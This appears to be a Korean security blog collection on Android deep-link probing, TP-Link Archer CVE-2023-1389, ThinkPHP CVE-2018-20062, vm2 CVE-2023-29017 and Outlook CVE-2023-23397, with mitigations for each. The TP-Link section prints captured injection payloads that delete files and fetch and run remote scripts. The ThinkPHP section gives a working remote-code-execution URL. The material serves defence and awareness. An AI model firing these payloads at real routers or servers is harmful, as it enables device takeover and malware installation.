Deep Linking 개요

  • 딥링킹은 특정 유형의 링크를 처리하고 사용자를 앱(예: 특정 활동)으로 직접 보내는 메커니즘입니다.
  • 사용자가 모바일 앱으로 직접 특정 콘텐츠로 연결되도록 하는 링크를 생성하는 기술입니다. 이를 통해 웹사이트나 다른 앱에서 특정 앱의 특정 화면으로 이동할 수 있습니다. 일반적으로 다음과 같은 기능과 장점이 있습니다:
  1. 사용자 경험 개선: Deep Linking은 사용자가 특정 콘텐츠로 쉽게 이동할 수 있도록 도와줍니다. 예를 들어, 특정 제품 상세 페이지로 바로 이동하거나 앱에서 로그인이나 결제 페이지로 이동할 수 있습니다.
  2. 마케팅 및 프로모션: 웹사이트나 소셜 미디어에서 앱의 특정 콘텐츠를 직접 링크하여 사용자들을 앱으로 유도할 수 있습니다. 이를 통해 앱 다운로드, 사용자 활동 증가 등을 도모할 수 있습니다.
  3. 측정 및 분석: Deep Linking을 통해 사용자의 행동을 추적하고 분석할 수 있습니다. 특정 링크를 통해 사용자가 앱으로 어떻게 이동하는지를 추적하여 사용자 동작을 이해하고 사용자 경험을 개선할 수 있습니다.
  4. SEO 향상: 안드로이드 앱의 Deep Linking을 구현하면 검색 엔진이 해당 앱의 콘텐츠를 색인화하고 검색 결과에 표시할 수 있습니다. 이는 앱의 발견성을 향상시키고 유기적인 트래픽을 늘리는 데 도움이 됩니다.
  • Android에서는 개발자가 두 가지 유형의 링크를 만들 수 있습니다
    • 딥링크
    • 안드로이드 앱 링크

 

  • 일반적으로 /.well-known/assetlinks.json 요청은 공격이 아닐 수 있습니다. 해당 URL은  Android 앱 링크로 사용자가 앱을 선택할 필요 없이, 웹사이트 URL을 클릭하면 Android 앱에서 콘텐츠가 바로 열리도록 하는 특별한 유형의 딥 링크입니다.

 

  • .well-known 디렉토리는 RFC5785에 그 의미가 설명되어 있습니다.
  • /.well-known/는 정해진 URI 스키마 상에서 잘 알려진 위치들(well-known locations)의 경로 프리픽스를 정의해 줍니다.
  • https://datatracker.ietf.org/doc/html/rfc5785 해당 문서에서 자세하게 확인 가능합니다.

 

  • 악의적인 공격자가 /.well-known/assetlinks.json 를 요청하는 케이스
    • 딥 링크를 통한 공격 시도로 볼 수 있다.
    • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로, 안드로이드 앱이 특정 웹 사이트에 대한 딥 링크를 처리할 수 있는 권한을 부여하는 데 사용됩니다. 공격자는 이를 이용하여 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악의적인 행위를 시도할 수 있습니다.
    • 일반적으로 이러한 공격은 사용자가 악의적인 딥 링크를 통해 인증되지 않은 앱에 리디렉션되어 개인 정보를 요구하거나, 사용자의 기기에 악성 앱을 다운로드하도록 유도하는 형태로 이뤄질 수 있습니다.

대응방안

  • .well-known/assetlinks.json 파일을 안전하게 유지
    • 인증서를 사용하여 암호화된 연결 설정 (SSL/TLS 인증서)
    • 액세스 제어 설정 (불필요한 요청 차단)
    • 파일 권한 설정 (디렉토리 및 하위 파일의 권한을 적절하게 설정)
    • 로그 및 모니터링 설정 (액세스 로그 모니터링)
    • 정기적인 보안 감사 (파일에 대한 정기적인 검토)
  • 앱과 웹 서버 간의 딥 링크 권한을 정확하게 관리
  • 사용자에게 앱과 관련된 딥 링크를 사용할 때 주의해야 함을 경고
  • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로 공격자가 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악성행위 시도할 수 있음
  •  

TP-Link Archer 기가비트 인터넷 라우터에 대한 악용 시도(CVE-2023-1389)

  • 1.1.4 빌드 20230219 이전의 P-Link Archer AX21(AX1800) 펌웨어 버전에는 웹 관리 인터페이스에서 /cgi-bin/luci;stok=/locale 엔드포인트의 국가 형식으로 명령 주입 취약점이 포함되어 있습니다.
  • 특히, 쓰기 작업의 국가 매개변수는 popen() 호출에 사용되기 전에 삭제되지 않았으므로 인증되지 않은 공격자가 간단한 POST 요청을 통해 루트로 실행될 명령을 주입할 수 있습니다.

PoC 코드 / 샘플 코드

  • 해당 PoC 코드를 직접 공격하여 악용하는 경우 법적 처벌 조치를 받으실 수 있습니다.
POST /cgi-bin/luci/;stok=/locale?form=country
HTTP/1.1Host: [redacted]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60
operation=write&country=$(id>`wget <http://zvub>[.]us/y -O-|sh`)

 

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget <http://192.3.152.183/tenda.sh>; chmod 777 tenda.sh; ./tenda.sh)

샘플 코드 설명

  1. m -rf *: 현재 디렉토리의 모든 파일 및 디렉토리를 삭제 (rm 명령어는 파일이나 디렉토리를 삭제하는 명령어이며, -rf 옵션은 강제로 삭제하고, 재귀적으로 하위 디렉토리까지 삭제하라는 옵션입니다.)
  2. cd /tmp: 임시 디렉토리로 이동.
  3. wget http://192.3.152.183/tenda.sh: 외부 서버에서 tenda.sh라는 스크립트를 다운로드
  4. chmod 777 tenda.sh: 다운로드한 스크립트에 실행 권한을 부여
  5. ./tenda.sh: 부여한 실행 권한으로 스크립트를 실행

 

  • 현재까지 성공적인 인젝션이 관찰된 적이 없으므로, 주로 취약점이 존재하는지 유무를 확인하기 위한 스캔성 접근 다수 확인됨
  • 출발지 IP 193.32.162.189, 185.224.128.10 (네덜란드)로부터 악용 시도에 적극적으로 참여하는 것으로 추정됨
  • 해당 취약점이 수정된 공식 업데이트로 버전을 패치해야 합니다.

주의: 본 공격구문을 실제 웹 서버에 공격하여서 발생한 모든 결과는 본인이 책임져야 합니다.

ThinkPHP

  • 중국 TopThink에서 개발한 php 기반 웹 어플리케이션 프레임워크
  • Apache2 기반으로 만들어졌으며, 중국 내에서는 빠른 프로젝트 개발 진행이 가능했기에 인기가 많았다.
  • Shodan 결과에 의하면 2023/6/23 기준으로 약 32,269개 이상 활성화 되어있다. 아시아 지역에서 많이 사용되어지고 있다.
  • 사진 2를 참고하면 활성화 된 국가의  Top 10 List 를 확인할 수 있다. (한국은 127개)

사진 1
사진 2

 

 

이러한 ThinkPHP에는 원격코드 실행 취약점이 존재한다. (CVE-2018-20062)

 


Payload

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars [1][]= command

Payload 가 실행되는 이유는 '\' 문자가 필터링 되지 않기 때문이다.

 

적절한 (입력 검증) 필터링 부재로 인해 \think\app은 class로, invokefunction은 Method로 동작하게 되는 것이다.

 

 

공격구문

/index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=print md5('chaonan')&vars[1][]=
  • Payload 코드 뒤, wget이나 chmod, shell 등의 시스템 제어를 할 수 있는 명령어들을 이용하여 해커가 원하는 공격을 수행할 수 있게 된다.

 

대응방안

  • 해당 공격을 대응하기 위해서는 ThinkPHP 버전을 5.0.23 혹은 5.1.31 으로 업그레이드 하는 것을 권장한다.
  • PHP 업데이트로 '\' 필터링을 확인하는 정규식이 추가되었다. (적절한 입력 검증)

ThinkPHP 취약점은 웹 어플리케이션 공격으로 여전히 사용되고 있으니 잘 대응하시기 바랍니다.

확인해보시고 빠른 조치로 피해를 최소화하기를 권장합니다.

개요

o JavaScript VM2에서 특정 버전의 Nodejs Library를 통해 샌드박스 영역 외부에서 임의 셸코드 수행이 가능한 취약점 확인

o 해당 취약점은 CVSS 10으로 최고 점수 상태로 공표된 상태

- JavaScript sandbox VM2 크리티컬한 취약점이 발견 되었고, 패치가 필요

- 자바스크립트 샌드박스 VM2는 node js에서 사용하는 라이브러리

- 취약 버전을 확인하기 위해서는 npm audit 으로 확인도 가능

설명

o VM2는 Whitelist에 존재하는 Node.js의 내장 모듈로 특정 버전에서 처리되지 않은 비동기 오류구문을 제대로 처리하지 못해 발생하는 샌드박스 우회 원격코드 실행 취약점이 공표 [1]

o 3.9.15 이전 버전에 적용되는 취약점으로, 해당 취약점의 변종 유형에 대한 POC가 공개된 상황

영향받는 제품 및 해결 방안

o 3.9.15 이전 버전에 적용

o 3.9.15 이상의 버전으로 업데이트 적용 (npm update vm2 또는 npm install을 통한 3.9.15로 업데이트 수행

VE Number: CVE-2023-29017

Affected version: Including and prior to 3.9.14

vm2 version: ~3.9.14

Node version: 18.15.0, 19.8.1, 17.9.1

Fixed version: 3.9.15 of vm2

Workaround: None

Exploit PoC: https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d

References

CVE-2023-29017, https://nvd.nist.gov/vuln/detail/CVE-2023-29017

VM2 Sandbox Escape] Vulnerability in vm2@3.9.14, https://github.com/patriksimek/vm2/issues/515

Researchers Discover Critical Remote Code Execution Flaw in vm2 Sandbox Library, https://thehackernews.com/2023/04/researchers-discover-critical-remote.html

Sandbox Escape, patriksimek published GHSA-7jxr-cg7f-gpgv 3 days ago, https://github.com/patriksimek/vm2/security/advisories/GHSA-7jxr-cg7f-gpgv

3월 17일 MS Office Outlook 과 관련한 ZeroDay Attack 이 확인되었습니다.

 

아직 해당 취약점에 대응하지 못하셨다면, 빠르게 조치하시는 것을 권합니다.

 

CVSS (공통 취약점 등급 시스템)에서도 해당 취약점을 9.8점으로 평가했습니다.

 

해커가 smb (tcp/445) 에 접근하는 메일을 보내고 아웃룩으로 그걸 받으면, 링크든 뭐든 그걸 클릭하지 않아도 아웃룩으로 메일을 받기만 하면 감염되는 무서운 제로데이로 보입니다.

(바로 권한상승으로 이어지게 됩니다)

 

* CVE-2023-23397

- MS Office Outlook(Outlook.exe가 설치된 Windows의 특정 버전들에 한정) 대상으로 ZeroDay Attack 확인

- 실제 공격은 22년 4월 이전부터 러시아 해커집단에 의해 수행된 것으로 추정

- SMB(TCP 445) Outbound에 대한 메세지 전송 시 발생하는 권한 상승 취약점

- Outlook이 열린 상태이며, SMB에 액세스를 시도하여 Server-Client간 해시된 로그인 자격 증명을 사용통해 강제 권한 상승을 수행하여 Windows NTLM(New technology LAN Manager) 인증을 지원하는 타 시스템에 추가적인 권한 상승을 유도할 수 있는 Relay Attack

- Outlook Exchange 메세징 항목(IPM.Note, IPM.Appointment, IPM.Task)을 확인하여 속성이 UNC(Universal Naming Convention)경로

(일종의 네트워크에서 공유되는 파일 또는 폴더 경로 ex= \\Server2\Share\Test\Foo.txt)와 함께 MAPI(Messaging API) 속성이 지정된 메세지를 전송하여 NTLM 해시 탈취

 

 

* 탐지 방안

- Outlook이 설치된 엔드포인트 자체에서 MS에서 공유한 Powershell Script를 통한 취약한 Exchange 서버에 대한 확인 및 공격 지표 식별

(https://github.com/microsoft/CSS-Exchange/blob/a4c096e8b6e6eddeba2f42910f165681ed64adf7/docs/Security/CVE-2023-23397.md)

- 현재 네트워크단의 보안장비에서는 SMBv1, v2 프로토콜에 대한 협상 탐지 필터를 사용하거나, SMB Outbound 요청에 대한 직접적 탐지로 기업 운영 환경에서 Risk가 존재하는 탐지 방안만 존재

 

* 대응 방안

1) 사용자 수준 : NTLM을 통한 인증 매커니즘 사용이 불가하도록 보호된 사용자 보안 그룹에 사용자 추가(Windows ADAC, Powershell, CMD 기반 적용)

(https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group / https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts)

2) 사용자 또는 기업 수준(일시적 수준 방편) : FW, VPN 등에서 Outbound TCP 445/SMB 포트 차단

3) 패치 : 해당 페이지의 Security Updates(보안 업데이트)를 확인하여 특정 버전의 제품에 해당하는지 확인 후 업데이트 다운로드 및 적용

 

 

 

공격 시연 영상은 다음 링크에서 확인할 수 있습니다.

https://vimeo.com/808160973

 

 

 

+ Recent posts